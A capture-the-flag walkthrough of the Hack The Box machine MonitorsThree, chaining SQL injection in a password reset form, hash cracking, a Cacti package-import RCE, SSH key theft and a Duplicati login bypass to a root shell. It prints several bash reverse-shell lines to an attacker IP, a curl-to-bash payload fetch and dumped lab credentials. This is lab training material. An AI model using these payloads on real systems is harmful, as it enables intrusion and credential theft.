> m4rt@CTF_ARCHIVE:~$

// ATTACHMENTS

Hack The Box / LINUX / 2026-03-27

Hack The Box - MonitorsThree (Linux)

SQL injection in password reset endpoint leaks credentials, Cacti package import arbitrary file write provides shell, pivot to marcus, then Duplicati auth bypass and pre-backup script execution for root in container.

Target

  • IP: 10.10.11.30

Recon

sudo nmap -sC -sV 10.10.11.30 -p- -T5 -v

We notice open ports 22 and 80.

Add monitorsthree.htb to /etc/hosts. Go to http://monitorsthree.htb/. It is a PHP site.

gobuster vhost -u http://monitorsthree.htb/ -w ~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 50 --append-domain
Found: cacti.monitorsthree.htb Status: 302 [Size: 0] [--> /cacti]

Add cacti.monitorsthree.htb to /etc/hosts.

SQLi in forgot_password.php

Go to http://monitorsthree.htb/forgot_password.php. There is a username field. Input test. Send request, intercept with Burp, send to Repeater. Response gives redirect and following it shows message:

Unable to process request, try again!

Try with:

test'

We get:

Connection failed: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''test''' at line 1

Copy request from Burp into file request.txt.

sqlmap -r request.txt -p username

sqlmap -r request.txt -p --dbs
[*] information_schema
[*] monitorsthree_db
sqlmap -r request.txt -p username -D monitorsthree_db --tables
+---------------+
| changelog     |
| customers     |
| invoice_tasks |
| invoices      |
| tasks         |
| users         |
+---------------+
sqlmap -r request.txt -p username -D monitorsthree_db -T users --dump
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| id | dob        | email                       | name              | salary    | password                         | username  | position              | start_date |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| 2  | 1978-04-25 | admin@monitorsthree.htb     | Marcus Higgins    | 320800.00 | 31a181c8372e3afc59dab863430610e8 | admin     | Super User            | 2021-01-12 |
| 5  | 1985-02-15 | mwatson@monitorsthree.htb   | Michael Watson    | 75000.00  | c585d01f2eb3e6e1073e92023088a3dd | mwatson   | Website Administrator | 2021-05-10 |
| 6  | 1990-07-30 | janderson@monitorsthree.htb | Jennifer Anderson | 68000.00  | 1e68b6eb86b45f6d92f8f292428f77ac | janderson | Network Engineer      | 2021-06-20 |
| 7  | 1982-11-23 | dthompson@monitorsthree.htb | David Thompson    | 83000.00  | 633b683cc128fe244b00f176c8a950f5 | dthompson | Database Manager      | 2022-09-15 |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+

Put admin hash into crackstation.net. We get:

  • greencacti2001

Go to http://cacti.monitorsthree.htb/cacti/. Login as admin:greencacti2001.

Cacti version is 1.2.26. There is CVE-2024-25641:

An arbitrary file write vulnerability, exploitable through the "Package Import" feature, allows authenticated users having the "Import Templates" permission to execute arbitrary PHP code on the web server

Cacti RCE

wget https://github.com/Cacti/cacti/raw/develop/install/templates/ACME.xml.gz
gunzip ACME.xml.gz
cp ACME.xml test.xml

Edit the file (see attachments/test.xml).

Useful commands used to generate the file:

Generate private/public key pair:

openssl genrsa -out key.pem 2048
openssl rsa -in key.pem -pubout -out pubkey.crt

Create signature of shell.php:

php -a
$signature = "";
openssl_sign($data, $signature, $private_key, OPENSSL_ALGO_SHA256);
echo base64_encode($signature);

Create signature of test.xml. First set this inside file:

<signature></signature>

Then run:

openssl dgst -sha256 -sign key.pem -out /tmp/sign.sha256 test.xml
openssl base64 -A -in /tmp/sign.sha256 -out signature.out
cat signature.out

Generate .xml.gz:

gzip -k test.xml

Go to http://cacti.monitorsthree.htb/cacti/. Go to import/export -> import packages. Upload test.xml.gz.

Start listeners:

python3 -m http.server 80
nc -vlnp 4444

Create file rev with content:

bash -i >& /dev/tcp/10.10.14.200/4444 0>&1

Trigger:

http://cacti.monitorsthree.htb/cacti/resource/shell.php?cmd=curl%20http://10.10.14.200/rev|bash

We get reverse shell as www-data.

Pivot to marcus

cat /etc/passwd

We notice user marcus.

cd /var/www/html/cacti
cat include/config.php
$database_type     = 'mysql';
$database_default  = 'cacti';
$database_hostname = 'localhost';
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port     = '3306';
mysql -h 127.0.0.1 -u cactiuser -p

Enter password cactiuser.

use cacti
select * from user_auth;
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
| id | username | password                                                     | realm | full_name     | email_address            | must_change_password | password_change | show_tree | show_list | show_preview | graph_settings | login_opts | policy_graphs | policy_trees | policy_hosts | policy_graph_templates | enabled | lastchange | lastlogin | password_history | locked | failed_attempts | lastfail | reset_perms |
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
|  1 | admin    | $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G |     0 | Administrator | marcus@monitorsthree.htb |                      |                 | on        | on        | on           | on             |          2 |             1 |            1 |            1 |                      1 | on      |         -1 |        -1 | -1               |        |               0 |        0 |   436423766 |
|  3 | guest    | $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu |     0 | Guest Account | guest@monitorsthree.htb  |                      |                 | on        | on        | on           |                |          1 |             1 |            1 |            1 |                      1 |         |         -1 |        -1 | -1               |        |               0 |        0 |  3774379591 |
|  4 | marcus   | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK |     0 | Marcus        | marcus@monitorsthree.htb |                      | on              | on        | on        | on           | on             |          1 |             1 |            1 |            1 |                      1 | on      |         -1 |        -1 |                  |        |               0 |        0 |  1677427318 |
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+

Take marcus hash into file hash and crack:

hashcat -a 0 -m 3200 ./hash ./rockyou.txt
$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK:12345678910
su marcus

Enter found password.

cat .ssh/id_rsa

Copy output into marcus_key.

chmod 600 marcus_key
ssh -i marcus_key marcus@monitorsthree.htb

Duplicati Abuse

cat /opt/docker-compose.yml
version: "3"

services:
  duplicati:
    image: lscr.io/linuxserver/duplicati:latest
    container_name: duplicati
    environment:
      - PUID=0
      - PGID=0
      - TZ=Etc/UTC
    volumes:
      - /opt/duplicati/config:/config
      - /:/source
    ports:
      - 127.0.0.1:8200:8200
    restart: unless-stopped
ss -ltpn
State        Recv-Q       Send-Q               Local Address:Port                Peer Address:Port       Process
LISTEN       0            4096                     127.0.0.1:8200                     0.0.0.0:*
LISTEN       0            500                        0.0.0.0:8084                     0.0.0.0:*
LISTEN       0            4096                 127.0.0.53%lo:53                       0.0.0.0:*
LISTEN       0            70                       127.0.0.1:3306                     0.0.0.0:*
LISTEN       0            128                        0.0.0.0:22                       0.0.0.0:*
LISTEN       0            511                        0.0.0.0:80                       0.0.0.0:*
LISTEN       0            4096                     127.0.0.1:46871                    0.0.0.0:*
LISTEN       0            128                           [::]:22                          [::]:*
LISTEN       0            511                           [::]:80                          [::]:*
ssh -i marcus_key marcus@monitorsthree.htb -NL 8200:localhost:8200

Go to http://localhost:8200. It asks for password.

Useful reference:

  • https://medium.com/@STarXT/duplicati-bypassing-login-authentication-with-server-passphrase-024d6991e9ee
cd /opt/duplicati/config
ls
CTADPNHLTC.sqlite  Duplicati-server.sqlite  WRFJYWZBIY.sqlite  control_dir_v2

Download CTADPNHLTC.sqlite and Duplicati-server.sqlite:

python3 -m http.server 8888
wget http://monitorsthree.htb:8888/CTADPNHLTC.sqlite
wget http://monitorsthree.htb:8888/Duplicati-server.sqlite
sqlite3 Duplicati-server.sqlite
select * from Option;
-2||server-passphrase|Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
-2||server-passphrase-salt|xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=

Go to http://localhost:8200. Enter random password. Intercept request and response in Burp. There is a nonce in response.

In Cyberchef:

  • Copy server-passphrase.

  • Convert from Base64.

  • Convert to hex.

We obtain:

59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a

Back to localhost:8200 page. Open browser console (F12) and run:

var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse(nonce) + "59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a")).toString(CryptoJS.enc.Base64);
noncepwd

Copy shown password. In Burp click Forward. In next request, replace password with copied value. We can log in.

cd /dev/shm
echo 'bash -i >& /dev/tcp/10.10.14.200/4444 0>&1' > rev.sh
chmod 777 rev.sh

Return to Duplicati. Go to settings. Add option run-script-before. Set value to:

/source/tmp/test.sh

In /tmp, create test.sh with content:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.200/4444 0>&1

Start listener:

nc -vlnp 4444

Start cacti backup. We obtain reverse shell as root in docker container.

cat /source/root/root.txt